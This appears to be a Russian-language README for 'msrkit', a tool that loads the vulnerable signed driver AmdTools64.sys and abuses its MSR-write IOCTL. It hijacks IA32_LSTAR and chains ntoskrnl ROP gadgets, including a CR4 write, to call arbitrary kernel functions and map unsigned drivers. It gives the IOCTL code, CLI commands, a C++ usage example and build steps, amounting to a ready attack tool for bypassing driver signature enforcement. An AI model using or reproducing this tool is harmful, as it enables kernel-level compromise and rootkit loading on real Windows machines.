
Концепция использования ROP-цепочки в паре с примитивом WRMSR для вызова функций ядра и загрузки неподписанных драйверов через BYOVD (AmdTools64.sys)
Инструмент для вызова функций ядра и маппинга драйверов через ROP-цепочку с использованием примитива wrmsr в уязвимом драйвере (AmdTools64.sys).
AmdTools64.sys через NtLoadDriver (при недоступности симлинка переключается на PnP devnode + интерфейс устройства на основе GUID)IA32_LSTAR через IOCTL чтения MSR драйвера (0xFFF02804)ntoskrnl.exe на наличие ROP-гаджетов (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret и т.д.)IA32_LSTAR входным гаджетом, очищает AC в FMASK и выполняет syscallsysretqМаппинг драйвера следует тем же путём: выделяет пул ядра через ExAllocatePoolWithTag, копирует подготовленный PE-образ (применены релокации, разрешены импорты, пропатчен security cookie) и вызывает точку входа отображённого драйвера.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- разрешает и вызывает именованный экспорт ntoskrnl. Аргументы парсятся как целые числа (шестнадцатеричные с префиксом 0x). Выводит возвращаемое значение.call_at -- вызывает произвольный виртуальный адрес ядра.map -- отображает неподписанный драйвер в невыгружаемый пул и вызывает его точку входа (ExAllocatePoolWithTag). Выводит базовый адрес отображения.unmap -- освобождает ранее отображённый драйвер по указанному базовому адресу.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
Опционально можно передать существующий дескриптор драйвера, чтобы пропустить загрузку:
MSRK::INIT("AmdTools64.sys", existing_handle);
Требуется Visual Studio с MSVC (v143+) и MASM (ml64.exe).
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
Результат: build/Release/msrkit.exe (CLI) и msrkit.lib (статическая библиотека).
CFG отключён (/guard:cf-). Stack cookies (/GS) включены.